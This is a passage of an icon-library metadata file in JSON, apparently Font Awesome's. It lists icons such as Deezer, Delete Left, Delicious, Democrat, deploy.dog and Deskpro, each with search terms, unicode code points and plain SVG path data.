8.5l0 0c-3.9 3.9-8.5 8.4-12.8 11.8c-37.5 30.1-82.3 34-125.6 17.8l0 0c.2-1-.2-2.1-3.1-4.1c-36.8-28.2-58.5-52.1-50.9-107.5c2.2-1.7 3.7-6.2 5.6-11.6c2.9-8.4 6.5-18.9 14.3-23.9c7.8-17.3 31.3-33.3 56.4-33.7c25.6-1.4 47.2 13.7 58.1 27.9c-19.8-18.4-52.1-24-79.7-10.4c-28.2 12.7-45 43.8-42.5 74.7c.3-.5 .7-.7 1-.9c.6-.5 1.2-.9 1.5-3.4c-.9 60.2 64.8 104.3 112.1 82l.6 1.3c12.7-3.5 15.9-6.5 20.3-10.7c2.2-2.1 4.7-4.5 9-7.4c-.3 .7-1.3 1.7-2.4 2.7c-2.2 2.1-4.6 4.5-1.6 4.6c5.3-1.4 20.1-14.8 30.2-23.8l0 0 0 0c1.6-1.4 3-2.7 4.3-3.9c2-4.3 1.6-5.7 1.3-7.1c-.4-1.6-.8-3.3 2.4-9.6l7.3-3.7c1-2.8 2-5.4 2.9-7.8l0 0zM233.1 321.9a.9 .9 0 1 0 -1.7 0 .9 .9 0 1 0 1.7 0zm-.2 .5l-.2 .4c-.3 .7-.6 1.4-.3 2.4c-12.2-5.7-23.4-14.3-32.6-24.9c4.9 7.1 10.1 14.1 17 19.5c-6.9-2.3-15.2-11.9-21.7-19.4l0 0 0 0c-4.3-5-7.9-9.1-9.7-9.5c19.8 35.5 80.5 62.3 112.3 49c-14.7 .5-33.4 .3-49.9-5.8c-6.3-3.2-14.6-9.6-14.9-11.8zM237.5 7c3.8 .6 7.3 1.2 6.7 2.1c5-1.1 6.1-2.1-9-2.5c.8 .1 1.6 .3 2.4 .4zm92.2 208.4c-1 3.9-1.8 1.4-2.7-1.2c-.5-1.5-1.1-3.1-1.7-3.4c1.4-5.8 5.4-10.7 4.4 4.6zm-6.8 21.2c-1.3 7.9-5 15.5-10.1 22.5c.2-2-1.2-2.4-2.6-2.8c-2.9-.8-5.9-1.6 5.6-16.1c-.5 2-2.3 4.9-4 7.7l0 0c-3.6 5.9-6.7 11 4 4.3l1-1.8c2.6-4.5 5-8.8 6-13.8zM280 276.6c-11.1-1.7-21.2-6-12.7-6.1c7.1 .6 14.1 .6 21-1.1c-2.5 2.4-5.2 4.8-8.3 7.2zM244.2 9.1l-.2 .4-3 .3 3.2-.7zm-69.5 273c3.7 7.2 6.5 11.7 9.1 15.9c2.3 3.7 4.4 7.1 6.8 11.7c-5.2-4.3-8.9-9.8-12.8-15.5c-1.4-2.1-2.8-4.2-4.4-6.2l1.2-5.9zm7.3-10c1.7 3.4 3.3 6.7 5.9 9.5l2.6 7.7-1.3-2.1c-3.2-5.3-6.3-10.6-8-16.7l.8 1.6zm239.1-41.2c-2.3 17.4-7.7 34.6-16 50.3c7.6-14.9 12.5-30.9 14.8-47.2l1.2-3.1zM35.4 109.6c0 .3 0 .5 .1 .7c0-.2 0-.5-.1-.7zm.1 .7c.3 1.2 1.4 .9 2.4 .6c1.9-.5 3.6-.9-.1 7.6c-2.4 1.7-3.8 2.8-4.6 3.4c-.6 .4-.8 .6-.8 .6c0 0 .1-.2 .3-.5c.8-1.4 3.4-5.5 2.9-11.7zm-10.2 42c-.7 3.7-1.5 7.9-3.4 13.9c.2-1.9 0-3.5-.2-4.9c-.4-3.4-.8-6.3 4.3-12.9c-.3 1.2-.5 2.5-.7 3.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M248.2 .9c-4 .2-8.1 .4-11.4 1.6l-3.4-.5c5.4-.7 10.9-1.1 16.4-1.5c2.4-.2 4.8-.4 7.2-.6c-2.7 .6-5.7 .8-8.8 .9zm132 244.7c3-7.6 5.5-14 5.2-24.4l-4.3 9c4.4-13.2 4-27.1 3.6-40.4c-.2-6-.3-11.8 0-17.4l-1.8-.5c-1.5-45.2-40.6-93.1-75.3-109.4c-30-13.8-76.1-16.2-97.3-5.8c1.3-1.1 4.2-2 6.8-2.7c3.4-1 6.3-1.8 4.3-3c-19.2 1.9-24.9 5.5-31.1 9.4c-4.6 2.9-9.5 6-20.3 8.7c-3.5 3.4 1.7 2 5.8 .9c4.1-1.1 7.2-1.9-.1 2.4c-3.6 1-6.7 1.3-9.7 1.6c-8.3 .8-15.8 1.6-30.7 17c.8 1.3 3.5-.3 5.4-1.4c2.3-1.4 3.4-2-1.7 4.4c-19.1-2.4-60.3 43.7-69.1 59l4.6 .8c-3.2 8-6.8 14.8-10 20.8c-4.3 8.1-7.9 14.9-8.7 21.3c-.4 5.9-1.2 12.9-2 20.3c-3 27.4-6.8 61.3 3.8 73.6l-1.3 13c.6 1.2 1.1 2.3 1.6 3.5c1.2 2.5 2.3 5 3.9 7.4l-3 .2c7 22.2 10.8 22.5 15.1 22.9c4.4 .4 9.3 .9 18.7 24.2c-2.7-.9-5.5-1.9-9.4-7.2c-.5 4.1 5.8 16.3 13.1 25.8l-3.1 3.6c3.2 5.8 6.1 8.1 8.6 10l0 0c.8 .6 1.5 1.1 2.1 1.7c-11.9-6.5 3.2 13.7 11.9 25.2c2.5 3.4 4.5 6 5.1 7l2.4-4.2c-.3 6.1 4.3 13.9 13.1 24.7l7.3-.3c3 6 14 16.7 20.7 17.2l-4.4 5.8c8.1 2.6 10.3 4.3 12.7 6.2c2.6 2.1 5.4 4.3 16.1 8.1l-4.2-7.4c3.5 3 6.2 5.9 8.8 8.7c5.2 5.6 9.9 10.7 19.8 15.4c11.2 3.9 17.1 4.8 23.6 5.9c5.4 .8 11.2 1.8 20.8 4.5c-2.2-.1-4.4-.1-6.7-.2l0 0h0c-16.3-.4-34-.8-46.4-5.2C107.8 480.5 19.5 367.2 26 250.6c-.6-9.9-.3-20.9 0-30.7c.4-13.5 .7-24.8-1.6-28.3l1-3.1c5.3-17.4 11.7-38.2 23.8-62.8l-.1-.2 0-.1 0 0 0 0c.4 .4 3.4 3.4 8.8-5.8c1.3-2.9 2.5-5.8 3.8-8.8l0 0c2.5-6.1 5.1-12.3 8.4-17.9l2.6-.6c1.7-10.1 17-23.8 29.8-35.2l0 0c6.1-5.5 11.6-10.4 14.7-14.1l.7 4.4c17.1-16 45-27.7 66.1-36.6c4.8-2 9.3-3.9 13.3-5.7c-3.4 3.8 2.2 2.7 10 1c4.8-1 10.4-2.1 15.3-2.4c-1.3 .7-2.6 1.4-3.9 2.1l0 0 0 0c-2.7 1.4-5.4 2.8-8 4.6c8.3-2 11.9-1.4 16-.8c3.5 .6 7.3 1.2 14.6 .2c-5.6 .8-12.3 3-11.2 3.8c7.9 .9 12.8-.1 17.2-1c5.6-1.1 10.4-2.1 19.5 .9l-1-4.8c7.5 2.7 13.1 4.4 18 5.9c10 3 17.6 5.3 34.2 14.1c3.2 .2 5.3-.5 7.4-1.2c3.6-1.1 7-2.2 15.3 1.2c.5 .8 .7 1.5 1 2.1c1 2.6 1.7 4.6 14.6 12.2c1.8-.7-3.1-5.1-7-8.7l-.2-.1c32.3 17.3 67.5 54.1 78.2 93.6c-6-11.1-5.2-5.5-4.3 .5c.6 4 1.2 8.1-.2 7.5c4.5 12.1 8.1 24.5 10.4 37.4l-.8-2.9c-3.3-11.8-9.6-34.5-20-49.6c-.4 4.4-2.9 3.9-5.3 3.5c-3.3-.6-6.3-1.2-1.9 12.6c2.6 3.8 3.1 2.4 3.5 1.1c.5-1.5 .9-2.8 4.7 5.2c.1 4.3 1.1 8.5 2.2 13.3l0 0 0 0 0 0 0 0 0 0 0 0c.7 3 1.5 6.2 2.1 9.8c-1.1-.2-2.3-2.2-3.4-4.2l0 0 0 0c-1.4-2.4-2.8-4.7-3.7-3.2c2.4 11.5 6.5 17.4 8 18.3c-.3 .6-.6 .7-1.1 .7c-.8 0-1.8 .1-1.9 5.3c.7 13.7 3.3 12.5 5.3 11.6c.6-.3 1.2-.6 1.7-.4c-.6 2.5-1.6 5.1-2.7 7.9l0 0c-2.8 7.1-6 15.4-3.4 26.1c-.8-3.1-2.1-6.3-3.3-9.3l0 0 0 0c-.5-1.3-1.1-2.6-1.5-3.8c-.6 4.8-.3 8.2-.1 11.3c.4 5.3 .7 10-3 19.9c4.3-14.2 3.8-26.9-.2-20.8c1 11-3.8 20.5-8.1 29.1c-3.6 7.1-6.8 13.5-5.9 19.3l-5.2-7.1c-7.6 11-7 13.3-6.5 15.6c.5 1.9 1 3.8-3.4 10.8c1.7-2.9 1.3-3.6 1-4.2c-.4-.8-.7-1.5 1.7-5.1c-1.6 .1-5.5 3.9-10.1 8.5l0 0c-3.9 3.9-8.5 8.4-12.8 11.8c-37.5 30.1-82.3 34-125.6 17.8l0 0c.2-1-.2-2.1-3.1-4.1c-36.8-28.2-58.5-52.1-50.9-107.5c2.2-1.7 3.7-6.2 5.6-11.6c2.9-8.4 6.5-18.9 14.3-23.9c7.8-17.3 31.3-33.3 56.4-33.7c25.6-1.4 47.2 13.7 58.1 27.9c-19.8-18.4-52.1-24-79.7-10.4c-28.2 12.7-45 43.8-42.5 74.7c.3-.5 .7-.7 1-.9c.6-.5 1.2-.9 1.5-3.4c-.9 60.2 64.8 104.3 112.1 82l.6 1.3c12.7-3.5 15.9-6.5 20.3-10.7c2.2-2.1 4.7-4.5 9-7.4c-.3 .7-1.3 1.7-2.4 2.7c-2.2 2.1-4.6 4.5-1.6 4.6c5.3-1.4 20.1-14.8 30.2-23.8l0 0 0 0c1.6-1.4 3-2.7 4.3-3.9c2-4.3 1.6-5.7 1.3-7.1c-.4-1.6-.8-3.3 2.4-9.6l7.3-3.7c1-2.8 2-5.4 2.9-7.8l0 0zM233.1 321.9a.9 .9 0 1 0 -1.7 0 .9 .9 0 1 0 1.7 0zm-.2 .5l-.2 .4c-.3 .7-.6 1.4-.3 2.4c-12.2-5.7-23.4-14.3-32.6-24.9c4.9 7.1 10.1 14.1 17 19.5c-6.9-2.3-15.2-11.9-21.7-19.4l0 0 0 0c-4.3-5-7.9-9.1-9.7-9.5c19.8 35.5 80.5 62.3 112.3 49c-14.7 .5-33.4 .3-49.9-5.8c-6.3-3.2-14.6-9.6-14.9-11.8zM237.5 7c3.8 .6 7.3 1.2 6.7 2.1c5-1.1 6.1-2.1-9-2.5c.8 .1 1.6 .3 2.4 .4zm92.2 208.4c-1 3.9-1.8 1.4-2.7-1.2c-.5-1.5-1.1-3.1-1.7-3.4c1.4-5.8 5.4-10.7 4.4 4.6zm-6.8 21.2c-1.3 7.9-5 15.5-10.1 22.5c.2-2-1.2-2.4-2.6-2.8c-2.9-.8-5.9-1.6 5.6-16.1c-.5 2-2.3 4.9-4 7.7l0 0c-3.6 5.9-6.7 11 4 4.3l1-1.8c2.6-4.5 5-8.8 6-13.8zM280 276.6c-11.1-1.7-21.2-6-12.7-6.1c7.1 .6 14.1 .6 21-1.1c-2.5 2.4-5.2 4.8-8.3 7.2zM244.2 9.1l-.2 .4-3 .3 3.2-.7zm-69.5 273c3.7 7.2 6.5 11.7 9.1 15.9c2.3 3.7 4.4 7.1 6.8 11.7c-5.2-4.3-8.9-9.8-12.8-15.5c-1.4-2.1-2.8-4.2-4.4-6.2l1.2-5.9zm7.3-10c1.7 3.4 3.3 6.7 5.9 9.5l2.6 7.7-1.3-2.1c-3.2-5.3-6.3-10.6-8-16.7l.8 1.6zm239.1-41.2c-2.3 17.4-7.7 34.6-16 50.3c7.6-14.9 12.5-30.9 14.8-47.2l1.2-3.1zM35.4 109.6c0 .3 0 .5 .1 .7c0-.2 0-.5-.1-.7zm.1 .7c.3 1.2 1.4 .9 2.4 .6c1.9-.5 3.6-.9-.1 7.6c-2.4 1.7-3.8 2.8-4.6 3.4c-.6 .4-.8 .6-.8 .6c0 0 .1-.2 .3-.5c.8-1.4 3.4-5.5 2.9-11.7zm-10.2 42c-.7 3.7-1.5 7.9-3.4 13.9c.2-1.9 0-3.5-.2-4.9c-.4-3.4-.8-6.3 4.3-12.9c-.3 1.2-.5 2.5-.7 3.8z"
      }
    },
    "free": ["brands"]
  },
  "deezer": {
    "changes": ["5.13.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e077",
    "label": "Deezer",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M451.46,244.71H576V172H451.46Zm0-173.89v72.67H576V70.82Zm0,275.06H576V273.2H451.46ZM0,447.09H124.54V374.42H0Zm150.47,0H275V374.42H150.47Zm150.52,0H425.53V374.42H301Zm150.47,0H576V374.42H451.46ZM301,345.88H425.53V273.2H301Zm-150.52,0H275V273.2H150.47Zm0-101.17H275V172H150.47Z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M451.46,244.71H576V172H451.46Zm0-173.89v72.67H576V70.82Zm0,275.06H576V273.2H451.46ZM0,447.09H124.54V374.42H0Zm150.47,0H275V374.42H150.47Zm150.52,0H425.53V374.42H301Zm150.47,0H576V374.42H451.46ZM301,345.88H425.53V273.2H301Zm-150.52,0H275V273.2H150.47Zm0-101.17H275V172H150.47Z"
      }
    },
    "free": ["brands"]
  },
  "delete-left": {
    "aliases": {
      "names": ["backspace"],
      "unicodes": {
        "composite": ["232b"],
        "secondary": ["10f55a"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Erase to the Left",
        "command",
        "delete",
        "erase",
        "keyboard",
        "undo"
      ]
    },
    "styles": ["solid"],
    "unicode": "f55a",
    "label": "Delete Left",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M576 128c0-35.3-28.7-64-64-64H205.3c-17 0-33.3 6.7-45.3 18.7L9.4 233.4c-6 6-9.4 14.1-9.4 22.6s3.4 16.6 9.4 22.6L160 429.3c12 12 28.3 18.7 45.3 18.7H512c35.3 0 64-28.7 64-64V128zM271 175c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M576 128c0-35.3-28.7-64-64-64H205.3c-17 0-33.3 6.7-45.3 18.7L9.4 233.4c-6 6-9.4 14.1-9.4 22.6s3.4 16.6 9.4 22.6L160 429.3c12 12 28.3 18.7 45.3 18.7H512c35.3 0 64-28.7 64-64V128zM271 175c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z"
      }
    },
    "free": ["solid"]
  },
  "delicious": {
    "changes": ["4.1.0", "5.0.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a5",
    "label": "Delicious",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M446.5 68c-.4-1.5-.9-3-1.4-4.5-.9-2.5-2-4.8-3.3-7.1-1.4-2.4-3-4.8-4.7-6.9-2.1-2.5-4.4-4.8-6.9-6.8-1.1-.9-2.2-1.7-3.3-2.5-1.3-.9-2.6-1.7-4-2.4-1.8-1-3.6-1.8-5.5-2.5-1.7-.7-3.5-1.3-5.4-1.7-3.8-1-7.9-1.5-12-1.5H48C21.5 32 0 53.5 0 80v352c0 4.1.5 8.2 1.5 12 2 7.7 5.8 14.6 11 20.3 1 1.1 2.1 2.2 3.3 3.3 5.7 5.2 12.6 9 20.3 11 3.8 1 7.9 1.5 12 1.5h352c26.5 0 48-21.5 48-48V80c-.1-4.1-.6-8.2-1.6-12zM416 432c0 8.8-7.2 16-16 16H224V256H32V80c0-8.8 7.2-16 16-16h176v192h192z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M446.5 68c-.4-1.5-.9-3-1.4-4.5-.9-2.5-2-4.8-3.3-7.1-1.4-2.4-3-4.8-4.7-6.9-2.1-2.5-4.4-4.8-6.9-6.8-1.1-.9-2.2-1.7-3.3-2.5-1.3-.9-2.6-1.7-4-2.4-1.8-1-3.6-1.8-5.5-2.5-1.7-.7-3.5-1.3-5.4-1.7-3.8-1-7.9-1.5-12-1.5H48C21.5 32 0 53.5 0 80v352c0 4.1.5 8.2 1.5 12 2 7.7 5.8 14.6 11 20.3 1 1.1 2.1 2.2 3.3 3.3 5.7 5.2 12.6 9 20.3 11 3.8 1 7.9 1.5 12 1.5h352c26.5 0 48-21.5 48-48V80c-.1-4.1-.6-8.2-1.6-12zM416 432c0 8.8-7.2 16-16 16H224V256H32V80c0-8.8 7.2-16 16-16h176v192h192z"
      }
    },
    "free": ["brands"]
  },
  "democrat": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f747"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "american",
        "democratic party",
        "donkey",
        "election",
        "left",
        "left-wing",
        "liberal",
        "politics",
        "usa"
      ]
    },
    "styles": ["solid"],
    "unicode": "f747",
    "label": "Democrat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 32c0-8.9 3.8-20.9 6.2-27.3C71.2 1.8 74 0 77 0c1.9 0 3.8 .7 5.2 2.1L128 45.7 173.8 2.1C175.2 .7 177.1 0 179 0c3 0 5.8 1.8 6.8 4.7c2.4 6.5 6.2 18.4 6.2 27.3c0 26.5-21.9 42-29.5 46.6l76.2 72.6c6 5.7 13.9 8.8 22.1 8.8H480l32 0c40.3 0 78.2 19 102.4 51.2l19.2 25.6c10.6 14.1 7.7 34.2-6.4 44.8s-34.2 7.7-44.8-6.4l-19.2-25.6c-5.3-7-11.8-12.8-19.2-17V320H192l-40.4-94.3c-3.9-9.2-15.3-12.6-23.6-7l-42.1 28c-9.1 6.1-19.7 9.3-30.7 9.3h-2C23.9 256 0 232.1 0 202.7c0-12.1 4.1-23.8 11.7-33.3L87.6 74.6C78.1 67.4 64 53.2 64 32zM448 352h96v64 64c0 17.7-14.3 32-32 32H480c-17.7 0-32-14.3-32-32V416H288v64c0 17.7-14.3 32-32 32H224c-17.7 0-32-14.3-32-32V416 352h96H448zM260.9 210.9c-.9-1.8-2.8-2.9-4.8-2.9s-3.9 1.1-4.8 2.9l-10.5 20.5-23.5 3.3c-2 .3-3.7 1.6-4.3 3.5s-.1 3.9 1.3 5.3l17 16-4 22.6c-.3 1.9 .5 3.9 2.1 5s3.8 1.3 5.6 .4l21-10.7 21 10.7c1.8 .9 4 .8 5.6-.4s2.5-3.1 2.1-5l-4-22.6 17-16c1.5-1.4 2-3.4 1.3-5.3s-2.3-3.2-4.3-3.5l-23.5-3.3-10.5-20.5zM368.1 208c-2 0-3.9 1.1-4.8 2.9l-10.5 20.5-23.5 3.3c-2 .3-3.7 1.6-4.3 3.5s-.1 3.9 1.3 5.3l17 16-4 22.6c-.3 1.9 .5 3.9 2.1 5s3.8 1.3 5.6 .4l21-10.7 21 10.7c1.8 .9 4 .8 5.6-.4s2.5-3.1 2.1-5l-4-22.6 17-16c1.5-1.4 2-3.4 1.4-5.3s-2.3-3.2-4.3-3.5l-23.5-3.3-10.5-20.5c-.9-1.8-2.8-2.9-4.8-2.9zm116.8 2.9c-.9-1.8-2.8-2.9-4.8-2.9s-3.9 1.1-4.8 2.9l-10.5 20.5-23.5 3.3c-2 .3-3.7 1.6-4.3 3.5s-.1 3.9 1.3 5.3l17 16-4 22.6c-.3 1.9 .5 3.9 2.1 5s3.8 1.3 5.6 .4l21-10.7 21 10.7c1.8 .9 4 .8 5.6-.4s2.5-3.1 2.1-5l-4-22.6 17-16c1.5-1.4 2-3.4 1.4-5.3s-2.3-3.2-4.3-3.5l-23.5-3.3-10.5-20.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 32c0-8.9 3.8-20.9 6.2-27.3C71.2 1.8 74 0 77 0c1.9 0 3.8 .7 5.2 2.1L128 45.7 173.8 2.1C175.2 .7 177.1 0 179 0c3 0 5.8 1.8 6.8 4.7c2.4 6.5 6.2 18.4 6.2 27.3c0 26.5-21.9 42-29.5 46.6l76.2 72.6c6 5.7 13.9 8.8 22.1 8.8H480l32 0c40.3 0 78.2 19 102.4 51.2l19.2 25.6c10.6 14.1 7.7 34.2-6.4 44.8s-34.2 7.7-44.8-6.4l-19.2-25.6c-5.3-7-11.8-12.8-19.2-17V320H192l-40.4-94.3c-3.9-9.2-15.3-12.6-23.6-7l-42.1 28c-9.1 6.1-19.7 9.3-30.7 9.3h-2C23.9 256 0 232.1 0 202.7c0-12.1 4.1-23.8 11.7-33.3L87.6 74.6C78.1 67.4 64 53.2 64 32zM448 352h96v64 64c0 17.7-14.3 32-32 32H480c-17.7 0-32-14.3-32-32V416H288v64c0 17.7-14.3 32-32 32H224c-17.7 0-32-14.3-32-32V416 352h96H448zM260.9 210.9c-.9-1.8-2.8-2.9-4.8-2.9s-3.9 1.1-4.8 2.9l-10.5 20.5-23.5 3.3c-2 .3-3.7 1.6-4.3 3.5s-.1 3.9 1.3 5.3l17 16-4 22.6c-.3 1.9 .5 3.9 2.1 5s3.8 1.3 5.6 .4l21-10.7 21 10.7c1.8 .9 4 .8 5.6-.4s2.5-3.1 2.1-5l-4-22.6 17-16c1.5-1.4 2-3.4 1.3-5.3s-2.3-3.2-4.3-3.5l-23.5-3.3-10.5-20.5zM368.1 208c-2 0-3.9 1.1-4.8 2.9l-10.5 20.5-23.5 3.3c-2 .3-3.7 1.6-4.3 3.5s-.1 3.9 1.3 5.3l17 16-4 22.6c-.3 1.9 .5 3.9 2.1 5s3.8 1.3 5.6 .4l21-10.7 21 10.7c1.8 .9 4 .8 5.6-.4s2.5-3.1 2.1-5l-4-22.6 17-16c1.5-1.4 2-3.4 1.4-5.3s-2.3-3.2-4.3-3.5l-23.5-3.3-10.5-20.5c-.9-1.8-2.8-2.9-4.8-2.9zm116.8 2.9c-.9-1.8-2.8-2.9-4.8-2.9s-3.9 1.1-4.8 2.9l-10.5 20.5-23.5 3.3c-2 .3-3.7 1.6-4.3 3.5s-.1 3.9 1.3 5.3l17 16-4 22.6c-.3 1.9 .5 3.9 2.1 5s3.8 1.3 5.6 .4l21-10.7 21 10.7c1.8 .9 4 .8 5.6-.4s2.5-3.1 2.1-5l-4-22.6 17-16c1.5-1.4 2-3.4 1.4-5.3s-2.3-3.2-4.3-3.5l-23.5-3.3-10.5-20.5z"
      }
    },
    "free": ["solid"]
  },
  "deploydog": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f38e",
    "label": "deploy.dog",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M382.2 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.6 0-33.2 16.4-33.2 32.6zM188.5 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.7 0-33.2 16.4-33.2 32.6zM448 96c17.5 0 32 14.4 32 32v256c0 17.5-14.4 32-32 32H64c-17.5 0-32-14.4-32-32V128c0-17.5 14.4-32 32-32h384m0-32H64C28.8 64 0 92.8 0 128v256c0 35.2 28.8 64 64 64h384c35.2 0 64-28.8 64-64V128c0-35.2-28.8-64-64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M382.2 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.6 0-33.2 16.4-33.2 32.6zM188.5 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.7 0-33.2 16.4-33.2 32.6zM448 96c17.5 0 32 14.4 32 32v256c0 17.5-14.4 32-32 32H64c-17.5 0-32-14.4-32-32V128c0-17.5 14.4-32 32-32h384m0-32H64C28.8 64 0 92.8 0 128v256c0 35.2 28.8 64 64 64h384c35.2 0 64-28.8 64-64V128c0-35.2-28.8-64-64-64z"
      }
    },
    "free": ["brands"]
  },
  "deskpro": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f38f",
    "label": "Deskpro",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M205.9 512l31.1-38.4c12.3-.2 25.6-1.4 36.5-6.6 38.9-18.6 38.4-61.9 38.3-63.8-.1-5-.8-4.4-28.9-37.4H362c-.2 50.1-7.3 68.5-10.2 75.7-9.4 23.7-43.9 62.8-95.2 69.4-8.7 1.1-32.8 1.2-50.7 1.1zm200.4-167.7c38.6 0 58.5-13.6 73.7-30.9l-175.5-.3-17.4 31.3 119.2-.1zm-43.6-223.9v168.3h-73.5l-32.7 55.5H250c-52.3 0-58.1-56.5-58.3-58.9-1.2-13.2-21.3-11.6-20.1 1.8 1.4 15.8 8.8 40 26.4 57.1h-91c-25.5 0-110.8-26.8-107-114V16.9C0 .9 9.7.3 15 .1h82c.2 0 .3.1.5.1 4.3-.4 50.1-2.1 50.1 43.7 0 13.3 20.2 13.4 20.2 0 0-18.2-5.5-32.8-15.8-43.7h84.2c108.7-.4 126.5 79.4 126.5 120.2zm-132.5 56l64 29.3c13.3-45.5-42.2-71.7-64-29.3z\"/></svg>",
        "viewBox": [0, 0, 480, 512],
        "width": 480,
        "height": 512,
        "path": "M205.9 512l31.1-38.4c12.3-.2 25.6-1.4 36.5-6.6 38.9-18.6 38.4-61.9 38.3-63.8-.1-5-.8-4.4-28.9-37.4H362c-.2 50.1-7.3 68.5-10.2 75.7-9.4 23.7-43.9 62.8-95.2 69.4-8.7 1.1-32.8 1.2-50.7 1.1zm200.4-167.7c38.6 0 58.5-13.6 73.7-30.9l-175.5-.3-17.4 31.3 119.2-.1zm-43.6-223.9v168.3h-73.5l-32.7 55.5H250c-52.3 0-58.1-56.5-58.3-58.9-1.2-13.2-21.3-11.6-20.1 1.8 1.4 15.8 8.8 40 26.4 57.1h-91c-25.5 0-110.8-26.8-107-114V16.9C0 .9 9.7.3 15 .1h82c.2 0 .3.1.5.1 4.3-.4 50.1-2.1 50.1 43.7 0 13.3 20.2 13.4 20.2 0 0-18.2-5.5-32.8-15.8-43.7h84.2c108.7-.4 126.5 79.4 126.5 120.2zm-132.5 56l64 29.3c13.3-45.5-42.2-71.7-64-29.3z"
      }
    },
    "free": ["brands"]
  },
  "desktop": {
    "aliases": {
      "names": ["desktop-alt"],
      "unicodes": {
        "composite": ["1f5a5", "f108"],
        "primary": ["f108"],
        "secondary": ["10f108", "10f390"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "computer",
        "cpu",
        "demo",
        "desktop",
        "desktop computer",
        "device",
        "imac",
        "machine",
        "monitor",
        "pc",
        "screen"
      ]
    },
    "styles": ["solid"],
    "unicode": "f390",
    "label": "Desktop",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
